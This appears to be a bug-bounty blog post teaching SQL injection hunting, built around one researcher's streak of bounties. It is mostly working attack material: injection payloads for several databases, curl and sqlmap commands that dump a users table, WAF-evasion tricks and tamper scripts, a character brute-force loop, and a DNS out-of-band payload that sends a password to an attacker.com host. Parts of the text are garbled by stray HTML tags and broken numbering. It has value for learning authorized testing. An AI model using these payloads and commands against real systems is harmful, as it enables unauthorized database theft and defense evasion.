Listen to this Post
Introduction:
SQL injection (SQLi) remains one of the most dangerous web application vulnerabilities, consistently ranking in the OWASP Top 10 despite years of awareness. Recently, application security researcher Dishant Chavda demonstrated how disciplined hunting can yield repeated bounties—earning $198 USD for his fifth SQLi bounty in just 15 days—proving that manual and automated testing techniques still pay off when applied to modern, complex targets.
Learning Objectives:
- Understand how to detect and exploit SQL injection vulnerabilities in web applications and APIs.
- Learn to use both manual techniques and automated tools like sqlmap, Burp Suite, and custom scripts.
- Master evasion strategies to bypass WAFs, input filters, and other common defenses.
You Should Know:
1. Understanding SQL Injection in Modern Web Apps
SQL injection occurs when untrusted data is sent to an interpreter as part of a SQL query. Attackers can manipulate queries to read, modify, or delete database records. Modern applications often use ORMs, but SQLi still appears in stored procedures, raw queries, JSON-based APIs, and NoSQL databases (where similar injection exists). Dishant’s streak highlights that even heavily tested programs can have overlooked SQLi in edge cases like order-by parameters, XML/JSON input, or HTTP headers.
Step‑by‑step guide – Detection basics:
- Identify user-controlled inputs: URL parameters, POST data, cookies, custom headers (X-Forwarded-For, User-Agent).
- Inject a single quote (
') and observe for database errors (e.g.,You have an error in your SQL syntax). - Confirm with boolean tests: `’ AND ‘1’=’1` vs `’ AND ‘1’=’2` – different responses indicate vulnerability.
- For blind SQLi, use time‑based payloads: `’ AND SLEEP(5)–` (MySQL) or `’; WAITFOR DELAY ’00:00:05′–` (MSSQL).
Linux/Windows command example – Using cURL to test:
curl -X GET "https://target.com/page?id=1' AND '1'='1" --proxy http://127.0.0.1:8080
curl -X POST "https://target.com/api/search" -d "{\"user\":\"admin' OR '1'='1\"}" -H "Content-Type: application/json"
On Windows PowerShell, replace `curl` with `Invoke-WebRequest` or use `curl.exe` similarly.
2. Setting Up Your Hunting Environment
A professional bug hunter needs a repeatable, isolated environment. Use Linux (Kali, Parrot) or Windows WSL2 for tooling, plus Burp Suite Community/Pro for traffic manipulation. Automate repetitive tasks with custom scripts.
Step‑by‑step guide – Environment setup:
- On Linux (Debian/Ubuntu):
sudo apt update && sudo apt install sqlmap burpsuite jq nmap -y git clone https://github.com/sqlmapproject/sqlmap.git pip3 install requests beautifulsoup4
- On Windows (WSL2):
wsl --install -d Ubuntu Inside WSL, run the same Linux commands.
- Configure Burp Suite: Set proxy listener to 127.0.0.1:8080, install FoxyProxy browser extension, and turn on “Intercept” to capture requests.
- Save common SQLi payloads in a file (
payloads.txt) for fuzzing withffuf:ffuf -u "https://target.com/page?id=FUZZ" -w payloads.txt -fc 404
- Manual SQLi Detection Techniques (Why Automation Alone Fails)
Automated scanners often miss blind or context‑specific SQLi. Manual testing using different encoding, comment tricks, and stacked queries is essential. Dishant’s success comes from methodical manual checks before running sqlmap.
Step‑by‑step guide – Manual checks:
- Error‑based: Inject `’ AND extractvalue(1,concat(0x7e,database()))–` (MySQL) to force verbose errors.
- Union‑based: Determine column count with `’ ORDER BY 10–` then
' UNION SELECT null,null--. - Boolean blind: Use `’ AND SUBSTRING(version(),1,1)=5–` and compare page lengths.
- Time‑based blind (useful when no output changes):
' OR IF(1=1, SLEEP(5), 0)-- ' OR (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT database()),1,1))>100) THEN pg_sleep(5) ELSE 0 END)--
- Out‑of‑band (OOB) for highly restricted environments: use DNS exfiltration via `LOAD_FILE(concat(‘\\\\’,(SELECT password FROM users LIMIT 1),’.attacker.com\\a’))` (MySQL).
4. Automating with sqlmap – Advanced Usage
sqlmap is the gold standard for SQLi exploitation, but default settings trigger WAFs. Tailor the tool to each target using `–tamper` scripts and custom parameters.
Step‑by‑step guide – sqlmap for bug bounties:
- Basic detection:
sqlmap -u "https://target.com/page?id=1" --batch --level=3 --risk=2
- For POST JSON APIs:
sqlmap -u "https://target.com/api/login" --data '{"username":"admin","password":"pass"}' --json --level=5 - Use tamper scripts to evade WAFs:
sqlmap -u "http://target.com/page?id=1" --tamper=space2comment,randomcase,between,charencode
- Extract database contents without flooding logs:
sqlmap -u "http://target.com/page?id=1" --dbms=mysql --dump -T users --threads=2 --delay=1
- For blind SQLi with time‑based detection:
sqlmap -u "http://target.com/page?id=1" --technique=T --time-sec=3 --timeout=10
5. Bypassing WAFs and Input Filters
Modern applications deploy Web Application Firewalls (Cloudflare, AWS WAF, ModSecurity). To maintain a hunting streak, you must know how to bypass them using advanced payloads and protocol tricks.
Step‑by‑step guide – WAF evasion:
- Case variation: `SeLeCt` instead of `SELECT`
– URL encoding: `%27%20OR%20%271%27=%271`
– Double encoding: `%2527%2520OR%2520%25271%2527=%25271`
– Inline comments: `/!12345SELECT/` (MySQL exclusive) - Whitespace substitution: Use
%0a,%0d,%09, or `//` instead of space. - HTTP parameter pollution (HPP):
`?id=1&id=union select 1,2,3` – some WAFs process only first parameter, backend uses the last. - Using benign-looking endpoints: Inject into `ORDER BY` clauses: `?sort=(CASE WHEN (1=1) THEN name ELSE (SELECT 1 UNION SELECT 2) END)`
– Cloudflare bypass example: Use a tampered `User-Agent` containing SQLi inside a JSON Web Token cookie.
Linux command to brute‑force allowed characters:
for i in {1..255}; do curl -s "https://target.com/page?id=1' AND ASCII(SUBSTRING((SELECT version()),1,1))=$i--" | grep -q "Welcome" && echo "Char: $i"; done
6. Reporting and Maximizing Bounties
Finding a SQLi is half the battle; a professional report increases your payout and reputation. Dishant’s $198 bounty likely came from a critical vulnerability with clear proof of concept.
Step‑by‑step guide – Professional report:
- “SQL Injection in
allows full database read”</li> <li>Severity: Critical (usually) or High depending on data exposure.</li> <li>Steps to reproduce:</li> </ul> <h2 style="color: yellow;">1. Capture request using Burp Suite.</h2> <ol> <li>Inject payload: `' OR 1=1--` → returns all records.</li> </ol> <h2 style="color: yellow;">3. Use sqlmap to extract `users` table.</h2> <ul> <li>Impact: Unauthorized access to user credentials, PII, or administrative data.</li> <li>Remediation: Parameterized queries, input validation, least privilege DB user.</li> <li>Proof of concept: Screenshot of sqlmap output showing `users` table dump, or a curl command that leaks data.</li> </ul> Additional tip: If the program uses a scoring system, attach a short video or a script that automates the exploit to demonstrate reproducibility. <ol> <li>Maintaining a Hunting Streak – Tips from 15 Days of Success Consistency beats luck. To earn multiple SQLi bounties in a short time, you need a disciplined workflow.</li> </ol> <h2 style="color: yellow;">Step‑by‑step guide – Daily hunting routine:</h2> <ul> <li>Day start: Review new programs on HackerOne, Bugcrowd, or Intigriti. Filter for those with “recently updated” scopes.</li> <li>Recon: Run <code>subfinder</code>, <code>httpx</code>, and `gau` to gather endpoints: [bash] subfinder -d target.com | httpx -silent | gau | grep -E '.php|\?id=|&page=|.asp'
- Test for SQLi: Prioritize parameters with names like
id,sort,filter,search,order. Use a custom script that injects `sleep(5)` with random delays to avoid rate limits. - Automate recurring checks: Write a Python script that replays past successful payloads on new targets.
- Document every finding in a local markdown file – even false positives help refine your methodology.
- Take breaks: Hunting requires focus; 4 × 1‑hour sessions yield more than 8 hours straight.
What Undercode Say:
- Key Takeaway 1 – Manual testing is irreplaceable. While sqlmap automates exploitation, finding the initial injection point demands critical thinking, especially in modern APIs with JSON or GraphQL where traditional scanners fail.
- Key Takeaway 2 – Streaks are built on process, not luck. Dishant’s 5th SQLi in 15 days came from a repeatable methodology: recon → parameter fuzzing → time‑based blind testing → escalation. This approach works across different programs because SQL injection flaws persist due to developer overconfidence in ORMs and WAFs.
Leonard Ang, a security researcher with over a decade in vulnerability research, notes that many hunters abandon SQLi too early, assuming it’s “a solved problem.” In reality, edge cases like integer overflow in `OFFSET` clauses, stored procedure calls with concatenated input, and NoSQL operators ($where, $ne) continue to yield bounties. The key is combining manual intuition with automated verification—never trusting either method alone. He also emphasizes that maintaining a streak requires logging every test and repeating successful patterns across new targets, effectively building a personal knowledge base of “weird” injections that bypass standard defenses.
Prediction:
As AI‑powered code scanning tools become mainstream, classic SQL injection will become rarer in new codebases. However, legacy applications, internal tools, and misconfigured APIs—especially those using serverless databases or GraphQL resolvers with raw SQL—will remain fertile ground for bug bounty hunters over the next 3–5 years. Expect an increase in “hybrid” SQLi/NoSQL injection attacks, where attackers chain injection into stored procedures that invoke operating system commands. Future bounties will shift toward blind and out‑of‑band techniques, and hunters who master DNS‑based exfiltration and advanced WAF evasion will command higher payouts. The $198 bounty of today could easily be a $2,000+ critical finding tomorrow—if you maintain your streak.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Dishant Chavda – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
